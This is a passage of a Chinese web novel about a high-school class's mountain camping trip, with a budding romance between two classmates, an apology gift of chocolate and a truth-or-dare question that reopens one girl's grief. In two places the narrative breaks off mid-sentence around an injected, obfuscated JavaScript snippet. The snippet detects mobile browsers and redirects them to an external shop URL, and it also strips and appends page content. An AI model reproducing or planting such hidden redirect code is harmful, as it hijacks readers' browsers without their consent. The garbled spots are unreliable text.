公布完这个消息后,班上唱衰声不断,本来可以高高兴兴放月假的,结果又整这一出。 楠哥看大家的反应不对劲,原以为大家会很兴奋,但没想到现在连远足都提不起他们的兴趣,这和自己的预期可有不小的出入。 “大家先听我说,你们不愿意参加远足,说白了不就是怕累吗,担心路上一直走,也没什么有意思的活动。不过赶巧今年改革了,本次远足采取爬山露营的方式,我们将一同前往岘山,晚上没准儿还会搞个篝火晚会。这样的话,大家还不想去吗?” 一听到上山露营、篝火晚会,大家瞬间来了兴致。两眼放光,好像又活了过来。 “王老师,那我们是不是得带帐篷,还有话筒音响。”邵雨涵率先举手道。 “对,还有烧烤架,得多带点食材,鸡翅、烤肠、肉每样都得整点儿。”何西飞立马补充一嘴。 “你就惦记着吃了。”邵雨涵将何西飞的话驳回去。 “咱是不是还得穿厚一点儿,听说山上晚上特别冷。” “有道理。” “……” 班上瞬间炸开了锅,七嘴八舌地议论起来。只能说出游方面,大家都是未雨绸缪的好先锋。 “大家安静!” 楠哥扯着嗓子喊了好几声,班上才终于消停下来。 好脾气的楠哥平时说话声就不大,这会儿还没带小蜜蜂,管教这帮子打了鸡血的孩子,属实难为他了。 “大家不用操心这么多,这些家委会都会帮大家准备,提前会运到指定地点。所有人只需要带自己路上要用的东西就可以了。你们想想,背着你们刚刚说的那么多东西,还怎么爬山啊。” “也是哦……还是楠哥想的周到。” “别谢我,回去记得多体谅一下自己父母,为了你们的后勤保障,他们还是付出了很多的。” 语重心长的话又扯到了感恩父母上,班上的过热气氛也终于冷却下来。只是坐在最后的谭佳宜眼眸逐渐暗下来,她没参与他们的闹腾,只是安静地算着物理题,当听到感恩父母的话题时,她轻笑一下,手上演算的功夫停下来,转而,将草稿纸上小半面步骤刷刷两下,全部划掉。 …… 远足的大部队一早就踏上了征途,吃过早饭,高一年级便一个班接着一个班有序从学校出发。 高二高三楼走廊上站着不少围观的学长学姐,不知是不是听到他们要去山上露营的风声,羡慕、嫉妒的目光在高一小屁孩身上流转,纷纷吐槽着学校的不公。 岘山离五中并不远,所以他们直接步行到山脚下集合。 走到大街上,浩浩荡荡的部队向前行进,路过的行人看他们穿着统一的校服,一眼便能识别他们是打哪儿来的。 旁边一个年轻女人领着个小孩儿,指着他们对孩子说:“你看,这些哥哥姐姐是五中的呢。要向他们学习,以后也考到这儿来。” 别说,虽然抱怨学校不做人,好不容易出校还要穿这一身破校服,但这校服丑归丑,穿出去还是挺有面儿的。 行进的路上,根据熵增原理,原本整齐的队伍渐渐变得无序,大家各自寻找和自己关系好的同学,开始打发路上无聊的时光。 谭佳宜一个人走在队伍的末尾,她在班上没什么走得近的人,和每个人都保持着一定的社交距离,她自认为不需要朋友,所以也没交到什么朋友。 不过她的同桌是个例外。 作为班长,周泽楷本应在前面带队的,但当他看见谭佳宜孤零零一个人时,便找了个理由将带队的重任交给体委何西飞,转身就抽身而退了。 谭佳宜察觉到身旁突然多出个人,他不紧不慢地跟在她身边,明明身高腿长,却刻意放慢步调,和她不约而同地保持一致。 她想都不用想,除了周泽楷,其他人也不会闲得无聊故意走这么慢了。 周泽楷见她轻装简出,连包都没带,只拿一个水杯,一个平时学习计划精细到每分钟的人,没想到在出游方面,倒是很简单。 这松弛感也是独一份了。 “你拿着不累吗?要不放我包里吧。” 谭佳宜抬眸看见他背着个黑色大包,突然想起来,他背上不是还有伤嘛,这包里看着像是装了不少东西,会不会对伤势恢复有影响。 “你伤还没好,怎么背这么多东西?” “看着多,都是些医药用品,纱布绷带什么的,不重。” 虽然家委会把大件物品都布置好了,但路上的一些医药必需品还是需要学生自己带着,周泽楷作为班长,便主动把这个活给揽了过来。 经过一个月的休养,背上的伤已经大好,他心里有数。 谭佳宜反手拎了拎周泽楷的包,确实不重,看来他没撒谎。 不过自己力气大,她认为的不重,不一定是真的不重。 “你要不还是找其它人换着背吧。别一天到晚太有责任心,容易吃亏。” 周泽楷只浅浅一笑:“吃亏是福。”说罢,便拿过她手上的杯子,放进了书包侧面,“不差这一点儿。” 谭佳宜没拒绝,她在心里盘算,一会儿到了山脚,得找个机会让他卸下来休息一会儿,换自己来背。 一路上,谭佳宜和他保持着不远不近的距离,两人也没说几句话。 谭佳宜戴着一顶黑色鸭舌帽,她身形高挑,气质又好,走起路来一点儿不拖沓,虽然也经常低头写题,却没有半分高中生含胸驼背的通病,走到哪里都格外显眼。 周泽楷怕她不自在,也就不远不近地跟着她,只是不想气氛太过沉闷,还是挑了个话头,他凑近了些突然说道:“你知道你现在像什么吗?” 谭佳宜好奇地瞥他一眼,“像什么?” “女明星! 你这帽子挺酷的,要是再来个墨镜,戴个口罩,绝对能吸引一堆狗仔来拍照。” 谭佳宜无语,她在心里吐槽,谁家女明星穿这么丑的校服啊! 她眼睛有点干,眼珠忍不住往上转了半圈,像是在翻白眼。不过好在帽子挡住了,没人看得见。 “女明星没有,狗仔倒是有一个。”她打量一眼周泽楷,轻飘飘地说道。 周泽楷反应过来,她这是在说自己! 他故意回头张望了一圈,“哪儿呢, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948528|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我怎么没看见。” 谭佳宜觉得他幼稚,懒得再搭理他,谁知这时,耳边冷不丁传来一声:“不过别担心,有我这个保镖在呢。” 声音低沉,像是再说悄悄话,只是动作很快,所以不会有人注意到。 但谭佳宜听进去了,少年轻柔的声音像是一片羽毛滑过心间,挠得人心痒痒,叫谭佳宜接下来一路都失了神。 …… 终于到了山脚,周泽楷得去前面清点人数,所以提前和谭佳宜打了声招呼准备离开。 走之前,谭佳宜叫住了他:“人走,包留下。” 周泽楷一惊,这话术怎么有点耳熟? 他想起来了,武侠片里主人公路遇山贼,劫匪打劫的时候就是这么说的。不过谭佳宜说出这话倒是毫无违和感。 不愧是希姐,霸气! “愣着干什么。”还没等周泽楷拒绝,谭佳宜便把包从他肩头扯下来,一把背在了自己肩上。 “要不我还是找何西飞来吧。”周泽楷略显局促,不是说女生不能背,只是心里还是有些过意不去。 “不用,没看到何西飞举着班旗吗?这点重量,对我来说轻轻松松。我也是班委的一份子,为班级出点儿力应该的。” “……” 周泽楷没法儿反驳她,也不好再劝,不如顺了她的心意。 不过是谁刚刚才说过,不要太有责任心来着? …… 清点完人数,高一年级集合完毕,开始正式上山。 上山过程中害怕走散,所以学校要求严格按照排好的队伍来行进,规定班长在前面组织,不时可以到队伍中巡逻,看看有没有落下的同学。 两路纵队,男女分开,女生和女生一起,男生和男生一块儿,谭佳宜正好被分到和白依依一排。 倒是个熟人。 “小谭,说说你都带了些什么好东西,看你这包装了不少呢!”白依依自来熟地拍着她的包说道。 小谭,这是君姐对谭佳宜的昵称。白依依觉得叫着亲切,也就跟着叫了。 “不是我的包,是咱们班的,里面装着医药急救用品。”谭佳宜淡淡地解释。 白依依下意识拽了拽自己的肩带,自己背着个小帆布包,还嫌累得慌,看看人家,直接帮班级揽下了这个大包袱,她怎么好意思的啊! “小谭,给你点赞。你就是咱们班的活菩萨,小天使,现世女金刚!” 前头的邵雨涵突然扭过头来,“白依依,你会不会说话啊!什么女金刚,人家这叫巾帼不让须眉,女战士也比你这好听。” “对对对,我嘴笨,收回收回。”白依依拍了拍自己的嘴巴,一通彩虹屁拍到底:“何止是女战士,是美少女战士!” 白依依说罢,一手叉腰,一手比耶,凹出一个美少女战士的经典pose,旁边的人都被逗笑了,谭佳宜也不例外。 “别光嘴上夸啊,来点儿实际的。”邵雨涵怂恿道。 “那必须的,下一个换我来背。你也得出把力,再下一个,就换你来。”白依依指着邵雨涵说。 邵雨涵比了个ok,爽快地答应下来:“没问题。” 谭佳宜见状,嘴角不自觉地上扬。要说,她好久没有融入集体的感觉了,她看着白依依,一瞬竟想起了往日的自己。 其实怎么形容没那么重要,反正都是那个意思。她懂。 37. 赔礼&巧克力 天朗气清,惠风和畅,这个天气正合适秋游。正午的阳光洒在五中学子的衣肩上,这个年纪的高中生不施粉黛,简单朴素,忽略稍显蜡黄的面色和浅淡的黑眼圈,还是挺朝气蓬勃的。 大部队走到半山腰,离扎营的地方还有些许距离。考虑到大家体力不支,需要休息,校方见这里设有不少椅子,便临时决定先在这稍作休整。 按照年级要求,每个班负责人统计完本班人数和队伍情况后,要统一向年级组汇报。十一班的这份工作则是由周泽楷承担。 在汇总表上签好字后,周泽楷准备回班,谁知这时,身后突然有人叫住了自己。 “周泽楷同学,我有事找你,能单独聊聊吗?” 他回头一看,这个女生有点眼熟,刚刚在他前面填表的人好像就是她。 十班的? 哦,他总算想起来了。 是她啊。 之前的事闹得不愉快,她怎么还主动找上门来,她找他能有什么事。 周泽楷想不明白,只见女孩神情恳切,央求着道:“不会占用你太久时间,很快的。就在那儿说吧。” 卓艺凡指了指角落的一棵大树。 “什么事不能在这儿说?”周泽楷直截了当,没有所谓的绅士风度,毫不客气地回绝道。 请求被驳回,卓艺凡面色为难,她支支吾吾半天说不出话,脸也涨得微红。 瞥了眼周遭的人群,趁没人的一刹,她不知是鼓起了多大的勇气,将一个小袋子塞给了周泽楷。 周泽楷有些懵,手上的袋子此刻就好似一块儿烫手的山芋,让周泽楷拿着发慌。 私下不成,她这是在当众贿赂他! “这什么?” “巧克力,进口的,草莓味儿的。” “你给我这个做什么?”周泽楷刚要塞回去,卓艺凡赶忙推回去。 “在这儿拉拉扯扯不好,你应该也知道。”卓艺凡露出得意的笑容,确实是周泽楷不听她的,这会儿倒是搞得自己下不来台了。 “不过不是给你的,是想让你帮忙转交给谭佳宜。” 周泽楷心里松了口气,但却更加疑惑了。 她俩不是不对付嘛,难不成卓艺凡浪子回头,想要和谭佳宜搞好关系? “你怎么不自己去?” “我……我不敢,谭佳宜太凶了。” 谭佳宜凶? 她不过是冷了点,有时候脸臭了点,心眼子多一点,其它…… 好吧。周泽楷自己其实也是这么认为的。 是有那么一丁点儿凶。 “行吧。你的心意我替你转达,但她收不收就不一定了。没什么事我先走了。” 他刚要抬腿,对方又叫住了他。 “等等。” “还有什么事儿?” 卓艺凡一不做二不休,将心里憋着的话说出来:“我承认我借鉴过你的画,不过,就当是朋友,能再帮我一次吗?” 周泽楷呼了一口气,原来她铺垫这么多,是想找人帮忙啊。看来这巧克力就是酬金了,不过为什么送的还不是帮忙的人? “说。” “上次参赛的画,就是借鉴你的那幅,老师说要拿去参加一个全国比赛,需要修改一下,但我……” “但你改不出来。” 周泽楷将她磨叽半天说不出口的半句话补充完整,卓艺凡低下头去,没再说话。 “你说说,我凭什么要帮你?那本来就是我的画,能让你用一次就算了,还能让你用第二次?” 这话说得有理,卓艺凡自知自己的要求过分,一时羞愧难当。但她不甘心就这样算了,还是想争取一下,于是咬咬牙道:“周泽楷,上次的事真的对不起,我向你还有谭佳宜道歉。” 说罢,又郑重地鞠了一躬,旁边的人再也无法不注意到他俩了,几双打量的目光看过来。 “但是,这次比赛对我真的很重要,要是……要是没得奖,我妈肯定要反悔,我的演唱会就泡汤了。”卓艺凡说的时候,眼泪在眼眶中打转,看得出来是真急。 周泽楷被这个理由惊到,没想到在学校光鲜亮丽的卓艺凡也是个追星女孩。不过,她对她偶像还挺上心的,是个真爱粉。 “都是同学,你就帮我一次吧,最后一次。这个演唱会我计划了整整一个月,现在就差临门一脚了,不去我会遗憾一辈子的。” 一辈子。他周泽楷就一普通人,何德何能能做出影响人一辈子的壮举! 即便卓艺凡带着哭腔,周泽楷仍然很清醒,她这是强买强卖,跟道德绑架其实差不多。 卓艺凡当众又是道歉,又是送礼的,认错态度良好,求人理由充分,一时搞得周泽楷有些骑虎难下。他不想和她在这儿继续纠缠下去。 算了,谁让他心软呢。 帮就帮吧,就当积德了。 “你回头把要求发我。不过我这水平,能不能得奖另说。” 听到他答应了,卓艺凡扬起头来,立马破涕为笑,“真的吗,谢谢。没事的,你愿意帮忙就已经很好了。” “对了,你要不考虑考虑走画画这条路,别浪费了天赋。”卓艺凡在他身后说道。 周泽楷眼眸中闪过一瞬的迟疑,转过身,只是淡淡地拒绝:“我还没想好,但应该不会走艺术的路。” “那真是可惜了。”卓艺凡站在原地,喃喃自语道。 揣着卓艺凡给的巧克力,周泽楷回班后直接去找了谭佳宜。这会她正和白依依聊得火热,她捂着嘴笑,眼睛弯弯的,难得和班上的同学打成一片。 周泽楷跟着勾起嘴角,他倒是很想知道,聊什么聊得这么开心? 他从后面走过来,轻拍了下她的肩头。对面的白依依看了一眼周泽楷,收敛了笑意,很是识趣地拉着一旁的邵雨涵,找了个由头离开。 “小谭,我突然肚子不舒服,去方便一下。走,你陪我。” 她给邵雨涵递了个眼神,但无奈队友不给力,还很认真地戳穿她:“依依,你该不会又想去小卖部吧。刚炫完一包薯片呢,这会儿看到有进货的地方又心动了?”” 只见不远处,还真有个小卖部,山上难得见着卖东西的地方,眼看小卖部排着长龙,何止是生意兴隆,简直是爆满! 当众拆台,这是亲闺蜜啊! 真一点儿面子也不给。 “不是,是真肚子疼……”白依依弓着腰,捂住肚子,面目狰狞地拉着邵雨涵,火速退离了战场。 拖着邵雨涵,她边走边吐槽:“大姐,人情世故懂不懂,说你情商低你还不信!” “咱俩半斤八两,上一次你还……” 目送着俩人吵吵闹闹地离开后,周 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13968262|147235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泽楷走近了些,将兜里的巧克力转交给谭佳宜。 “这是卓艺凡给你的赔礼,好像是巧克力。” 说到巧克力,这可是谭佳宜小时候最爱吃的零食,没有之一。因为贪吃巧克力,她小时候没少遭蛀牙的罪,不过小谭佳宜是宁愿牙疼,也要坚持吃巧克力,周泽楷当时不知道她蛀牙了,还偷偷给她带过呢。 这也是周泽楷听到是巧克力时,没有让卓艺凡拿回去的原因。卓艺凡不知道是打哪儿知道的,不过也算是投其所好,他想,最终收不收的决定权还是交给谭佳宜自己为好。 “为什么她不直接来找我?” 没急着打开看,谭佳宜率先将这个问题指出来,枉费周泽楷故意绕开这一点,将重点放在巧克力上。 “嗯…… 就是……” 人在心虚的时候总是显得很忙,周泽楷也不例外。他将插在兜里的手拿出来,背到后面,觉得不自在,又放回前面,双手开始摩挲起来。 “学校不是规定不让串班嘛,她……不方便来找你,恰巧我们都是班上的负责人,刚刚去签字的时候碰到了,她就顺便给我了。” “哦,都是班上负责人啊。”谭佳宜语气阴阳怪气的,就算周泽楷理由找得再充分,谭佳宜也总是有的说。 “我之前就说过,你们其实挺配的。她会画画,你也会。她是班干部,巧了,你也是。我不关心八卦的人都知道,你俩可都被封了个什么头衔……” “打住打住,”周泽楷实在听不下去了,他莫名觉得有些羞耻,谭佳宜果然是学物理的料,这思维不是一般的发散。 卓艺凡追星,但他不追星,还是有很多不同的,他想反驳,话到嘴边还是咽了下去。 言多必失,其它事还是先别告诉她了,以免节外生枝。 “这不是重点,重点是她给你赔礼,你看收不收吧。这事儿我是意外入的局,最终矛盾的主体还是你们俩。” 谭佳宜还是将袋子打开看了一眼,这个包装的巧克力谭佳宜以前吃过,是妈妈出差后带回来的,她当时觉得很好吃,不过后来在超市也没找到过。 卓艺凡也是歪打正着,送礼送到点子上了。 “你觉得我该收吗?” 谭佳宜问出这句话的时候,周泽楷就知道她是动摇了,不过解铃还须系铃人,这个问题还是得她自己拿主意。 “我客观来说,其实卓艺凡也没那么坏,只是嫉妒心比较强,看不惯比她强的人罢了。她嫉妒你,所以设计拿球砸你,她嫉妒我,所以偷了我的画。不过上次交手,她应该是见识到了你的厉害,也不敢再来招惹你。所以,听从你内心的声音就好。” 谭佳宜眸色加深,心中的天平在来回摇摆。卓艺凡之前确实做了过分的事情,她那点小手段不至于伤害她,却伤害了她在乎的人,但是…… 或许是她的举动触及到谭佳宜心底的柔软,让她想起昔日母亲的温情来,她将袋子扎起来,揣进校服口袋里,“真不会挑时间,这会儿送东西不是增加我爬山的负担吗?一会儿依依她们来了,得赶紧把它分了。” 见她释怀了,周泽楷也跟着松了口气。 谭佳宜心想,卓艺凡做过的事确实可恶,但在某些方面,她和卓艺凡又有什么两样? 给卓艺凡一个改过自新的机会,其实,也是给自己一个机会。 38. 葱花香菜&真心话 大部队终于到达目的地,安营扎寨完毕后,天色也渐渐暗下来。 太阳西斜,晚霞将天际染成粉红色,连空气中也增添一分旖旎和浪漫。 走了大半天,虽不是平地远足,但上坡路实际走起来更费劲,只是有了露营的盼头,大伙便也不觉有多累。 空气中升腾起油烟,偶见几点火星从烧烤架上滋滋往外冒,不过不用质疑十一班严选厨子“何西飞”的手艺,只见他一手拿串,一手撒调料,抄起一把羊肉串在碳架上来回翻烤,烤肉的手法倒是有模有样。 不一会儿,香气四散开来,唤醒了不少馋虫的味蕾。只是谭佳宜这会儿没什么胃口,她一个人静静地坐在旁边,对着不远的山峦凝神。 昏暗的夜幕下,对面山顶的宝塔隐约闪着金光,听说岘山的宝塔祈福很灵,不是为活人祈福,而是为死人祈福。 传闻宝塔中的镇塔天王能消灭地府的妖魔鬼怪,让亡故的人得以安息。 她不信神,不相信这些虚头巴脑的东西能起什么实质性的作用。要是求神拜佛就能解决问题,那现实中为什么还有那么多不幸呢? 但是今天,此刻,不为生人避灾,只为故人祈祷,谭佳宜决定信一回。 她闭上眼睛,双手合十,朝着宝塔的方向许愿,心中默念着想要守护的名字。 妈妈,外公,你们在另一个世界,过得还好吗? 等她睁眼的时候,周泽楷不知在旁边坐了多久。他只是静静地陪伴,看着她默默祈愿,不过问,也不打扰。 “你什么时候来的?” “就刚刚,刚坐下没多久。” 转身,他像变魔法一样,从身后拿出个保温盒,打开一看,里面是去了签子的烧烤,烤肉、烤蘑菇、烤蔬菜,样样都有。 “你爱吃的,加葱加香菜。” 她定定地看着周泽楷手中精心准备的爱心便当,有那么一瞬失神,往日的回忆再次席卷大脑,没想到,他还记得。 “谢谢啊。” 瞥见旁边只有一双筷子,谭佳宜起身道:“你等等。” 回来的时候,手上多了一双筷子,她将一次性筷子小心拆开,又叠在一块儿打磨两下,确定没有竹屑后,才递给周泽楷。 谁知周泽楷早已把原有的筷子准备好了,但是她的好心,他也不愿辜负。 周泽楷接过谭佳宜的筷子,将自己磨好的递过去。 谭佳宜尴尬地接过来,这才意识到,自己好像做了多余的事情。 “一起吃吧,我不太饿,吃不完。” 吃到一半,谭佳宜才突然想起来,周泽楷原来是不吃葱花香菜的。 她开始默默地将葱花香菜扒拉到一边,淡淡地说道:“不好意思啊,我忘了你不吃的。” 看她清理着烧烤上的葱花香菜,周泽楷才反应过来,“这个呀。以前不爱吃,但现在能吃点。人嘛,总是要试着接受新鲜事物,没准儿还不错呢?” 他边说,边夹起一块儿肉,往旁边葱花香菜密集的地方蘸了蘸,肉上裹满绿色,周泽楷眼睛都没眨一下,就送进了口中。 他细细地咀嚼一番,最后还不忘夸赞:“是还不错。” 谭佳宜脑海中还停留着他刚刚的那句话:“人嘛,总是要试着接受新鲜事物。” 他承认周泽楷比自己勇敢,关于直面,关于接受,关于向前,可能她还在酝酿着,一股能够承受所有可能的勇气。 …… 饮料饱,烧烤足后,真正的夜生活才刚刚开始。同学们围成一个大圈,开启了今夜的重头戏——篝火晚会。 只不过考虑到山上生火不安全,最后还是改成了小夜灯。南瓜状的小夜灯发出橘黄色的光,人手一个,主打一个氛围到了就行。 谭佳宜和白依依坐在一起,十一班虽然没有很强的男女有别的意识,但毕竟还是敏感的高中阶段,在这种围一圈的场合下,男女生还是很自觉地分开坐。 不过也正是因为围一个圈,所以在男女生交界处,总是要有人牺牲一下。 谭佳宜恰好坐在女生的边上,本来旁边坐着一个胖胖的男生,她没打过交道,所以也没什么印象。 谭佳宜转过去和白依依聊了几句,等她再转过来的时候,身旁那个胖胖的男生不知什么时候往边上挪了挪,中间空出个位置来。 谭佳宜心里疑惑,脑海中想起卓艺凡不敢自己来找她的事。 所以,难不成是自己太凶,把人家吓跑了? 她之前是不会在意别人对她的看法的,但毕竟是一个班的,关系太僵也说不过去。 谭佳宜下意识朝小胖那边瞟一眼。 只堪堪瞥见小胖拿零食的手,一道身影便挡住了视线。 她抬眸,便对上了周泽楷的目光。 是他啊。搞得她还以为别人对她有偏见呢。 “有谁想表演节目?”何西飞主动担任起主持的工作。 …… 台下一片鸦雀无声,大家纷纷低下头去。 他这么一问,颇像是老师上课点人起来回答问题。 “Anyvolunteer?” 显然是nobody。 “大家还是太内秀了。我相信在坐的大佬肯定都是身怀绝技,就是太害羞了。不过没关系,既然大家放不开,不如我们来玩儿游戏吧。” 玩游戏倒是个不错的主意,高中生在学校无聊惯了,什么游戏都能调动起他们的兴致。 “玩什么?” “就玩真心话大冒险,怎么样?” “也行,不过问题不能太过分。” “那这样吧,”班长周泽楷站出来说,“真心话每个人现在写一个问题,放到这个盒子里,抽的时候随机。前提是不能涉及敏感话题,这个大家应该都懂。” 高中生的敏感话题无非早恋那点事,大家心知肚明,一下子便反应过来。 “选大冒险的话就才艺展示吧,唱歌跳舞讲笑话,形式不限。” 台下同学接连附和,表示同意。 “好,那我们就击鼓传花,这块野餐布传到哪个人,哪个人就从真心话大冒险中选一个。” 刚准备开始,楠哥和君姐走过来, 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君姐坐下后,才发现旁边空出个位置,一旁的邵雨涵连忙招呼楠哥坐过来。 同学的糖不敢乱磕,但是老师的糖还是可以光明正大地磕的。 谁都知道楠哥和君姐其实是一对,听说是老同学,也都到了适婚年龄。 游戏正式开始,几轮下来,谭佳宜都免于幸难,没被抽到。 但幸运的女神不会总是眷顾一个人,所以,当谭佳宜以为不会轮到自己时,野餐布却偏偏传到了自己手中。 “真心话还是大冒险?” 谭佳宜唯一拿得出手的才艺就是小提琴了,只是现在没有琴,她自然是无法表演。 “真心话。” 谭佳宜没挑,直接拿了最上面的纸条,递给裁判何西飞。 他打开一卡,表情瞬间松了下来,“这个简单,是个开放题。” “假如你回到三年前,你最想做的事情是什么?” 三年前,谭佳宜刚刚失去母亲。 她怔愣住,像是灵魂抽离出身体,思绪早已飞向远方。 这个问题,对任何一个人来说可能都很简单,但对她来说,却是久久难以开口的难题。 在场的人目光全都汇聚在谭佳宜身上,可能都在疑惑,这个问题也不难啊,需要思考这么久吗? “谭佳宜,问题你听清楚了吗?” 谭佳宜听清了问题,却听不清何西飞问的话,一阵剧烈的头疼袭来,耳边似有声音在轰鸣,她听不见任何声音,眼前的景象也变得模糊起来。 “要不……换个问题”何西飞试探着问。 “我……我不太舒服,对不起……”谭佳宜扶着太阳穴,没说别的,便快步走了出去。 留何西飞一人拿着纸条站在原地云里雾里,“不会是我……问的方式不对吧?” 在场的人还没反应过来,就看见周泽楷追了出去。所有人嘴巴张成“O”形,一脸不可置信望着两人朝同一方向渐远。 这么勇的吗?老师还在这儿呢。 39. 日出&勇气 露营的地方平坦开阔,到处都是扎好的帐篷。 谭佳宜摸不清方向,只是朝着没人的黑暗处奔去。 她想逃离这个世界! 即使头晕目眩,谭佳宜的脚步却没停。周泽楷在后面叫了好几声她都不应,他加快步子,才终于追上她。 “谭佳宜,你要去哪儿?不舒服的话可以回帐篷里歇着。” 徬晚的山风冷冽,迎面刮来一阵疾风,冷风嗖嗖地灌进衣领中,谭佳宜才终于清醒过来。 她听见周泽楷在叫她。 “你故意的?”谭佳宜恢复理智,气恼地看向周泽楷,眼里再次盛满逼人的寒光。 “什么?” 周泽楷还没反应过来,只知道她突然不舒服,现在看起来是好点了,却又突然开始责问他。这莫名其妙的提问让他摸不着头脑。 “纸条的问题是你写的吧?”谭佳宜冷冷道。 “不是。”周泽楷反应过来,急忙否认。 “这真不是,就是个巧合,我也不知道会有这样的问题……对不起。”周泽楷低下头去,他是真没料到会戳到她的痛处。 “……” “我累了,你帮我和老师请个假,叫他们别担心。” 谭佳宜拖着步子,麻木地往回走。 周泽楷不知道她是否好点了,是否放下了,他想上前安慰,喉咙却像被堵住了一样,一时也不知道该说点什么好。 算了,还是让她自己静静好了。 …… 谭佳宜原打算自己找个地坐一会儿,她没困意,只是心情不好,莫名其妙地沮丧。 她今天本来是挺高兴的,而且是难得真开心。 恍惚中,她觉得自己好像回到了原来的状态,她还是那个幸福快乐的小孩。 谭佳宜以为自己开始放下,开始走出阴霾,但实际却并没有。 往日的阴影像一片挥之不去的乌云,久久缠绕着她。只要雷声一响,大雨便倾盆而下,将她脆弱的外壳撕开,一滴一滴,重重地敲打着她内心的满目疮痍。 谭佳宜穿得单薄,冷风吹得人发抖,但她却很享受这种被冻僵的感觉。 身体寒冷了,也许心就不会痛了。 坐了约莫十分钟,谭佳宜没忍住打了个喷嚏。身体实在耐不住刺骨的寒风,上次发烧的场景她还历历在目,便也没心情继续在这坐下去。她打算回帐篷歇着。 谭佳宜起身,掏出手机。 手机平时学校是不让带的,就连这次出游也明令规定不准带手机,要拍照的话只能用相机。 不过谭佳宜毕竟不是会听老师话的好好学生。手机是她平时身上的常备之物,她常出校,带着手机也方便。 手机在兜里安安静静地躺了一整天,调的静音,即使有消息也注意不到。 她按亮屏幕,果真有新消息。 是谭墨行!她这个父亲竟破天荒地给她发了消息。 、 “佳宜,今天露营玩得怎么样?” “帐篷是我和你程阿姨专门为你们班挑选的,之前我们出去露营用过这个品牌,很舒服,遗憾的是你在上学,也没体验到。” “你跟同学玩得开心就好,忙得话不用回消息。” 这突如其来的关心让谭佳宜觉得反常,她第一反应不是感动,而是怀疑谭墨行是不是又做了什么对不起她的事,要么就是程婉乔又在作妖,不然干嘛无事献殷勤。 先是生病探望,又是帐篷赞助的,实在是不对劲。 懒得再想这些糟心人,谭佳宜走到帐篷边,刚拉开拉链,谭墨行消息中的那番话却再次回荡在耳边。 这是又要恶心她一次。 谭佳宜打量着谭墨行专门强调和程婉乔一起选的帐篷。紫色的,上面印有现在流行的花纹,只是过于繁琐,颜色也不正。 原来这就是程婉乔选的帐篷啊,真没品位! 放眼望去,整个露营地就数她们班的帐篷最多。其他班可能要五六个人挤一顶,而十一班分下来,可能两三个人就能住一间,而且还是“豪华包间”。 不过谭佳宜不稀罕,这迟来的关心她不要也罢! 何况还是虚情假意的面子功夫。 …… 夜深了,各班陆续结束了今晚的活动,回到各自的帐篷休息。 自从找完谭佳宜回来后,周泽楷整个人就心不在焉的,玩游戏也提不起劲儿来,就连抽到自己,也只是敷衍着回答完问题。 他手里攥着谭佳宜抽到的字条,思绪早已被引向别处。 山上的夜景格外明净,月亮星星全都一尘不染,仿佛能看透人的内心,照出心灵深处最本源的东西。 可是周泽楷却再次陷入了迷茫。 谭佳宜的反反复复让他开始自我怀疑,每当他以为向前迈出一步,谭佳宜却总会在让人意外的时候后退一步。 他努力搜寻着是哪个环节出了问题,最后终于得出一个结论。 还是得将真相告诉她。 不论她是否相信,是否能接受,他都有告诉她的必要。 他好不容易才有重来一世的机会,不能枉费前世提前预知的结局。或许这就是事情的关键。 周泽楷躺下后,盯着帐篷顶发呆,久久都没能合眼。他在想,到底该怎么和谭佳宜说这件事。 宁静的夜晚,难眠的人往往不止一个。在另一头的帐篷中,谭佳宜同样辗转反侧,怎么都睡不着。 她在想,周泽楷或许真的知道什么,要不要问问呢? …… 天还没亮,谭佳宜就醒了。她睡得浅,自然无法长眠。 看了眼手机,才刚五点。隐约可以听见同帐篷白依依细微的呼吸声,看得出来,她睡得是真香。 帐篷里有些闷,谭佳宜实在待不住,睁眼躺到将近五点半,终于蹑手蹑脚起身拉开帐篷。 帐篷外果真还是一片漆黑,鸦雀无声的露营地,一个人出来,还真有点恐怖气氛在。 不过她是个胆大的,鬼屋都不怕,这点小场面算得了什么。 营地旁有棵大树,据说是棵古树,足有百年历史。古树旁有块儿巨石,本来不是作椅子用的,不过坐的人多了,上面被磨得平坦,也便成了椅。 谭佳宜打算到那坐着去,刚走没几步,就撞见一个黑影过去。 轻轻地飘过,自然地落座,没发出一点儿声响。 活像一个夜鬼! 她不怕这鬼,只 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周泽楷的嘴被谭佳宜捂住,冰凉的触感既真切又梦幻。他不敢相信,谭佳宜的手,就这么直接覆在了他的唇上。 喉结上下滚动,身体却十分僵硬,他只觉浑身上下都在发热,烧得人心慌。 不过是何西飞出来上厕所,却意外给角落不知名的两人创造了近距离接触的机会。 按理说,周泽楷还得感谢他。 “都怪陈淮北,睡那么死,胳膊腿直接往别人身上搭,要不是他,我早出来了……”何西飞自言自语地骂着。 “哎?那边怎么感觉有人啊!”他揉了揉眼睛,看见树后露出个衣角,很快又不见了。 “什么人狗狗祟祟的,应该是我眼花了吧。”何西飞打了个哈欠,转身又回了帐篷。 人刚走,谭佳宜便松了手,留周泽楷一人愣在原地。 整个过程中,谭佳宜始终盯着来人的动向,完全没正眼瞧周泽楷一眼。 “人走了,没事了。” 周泽楷回过神来,结结巴巴道:“哦……那就好。” 谭佳宜察觉到他不对劲,才意识到自己刚才唐突了,举动实在过于亲密。脸瞬间泛起一层红晕。 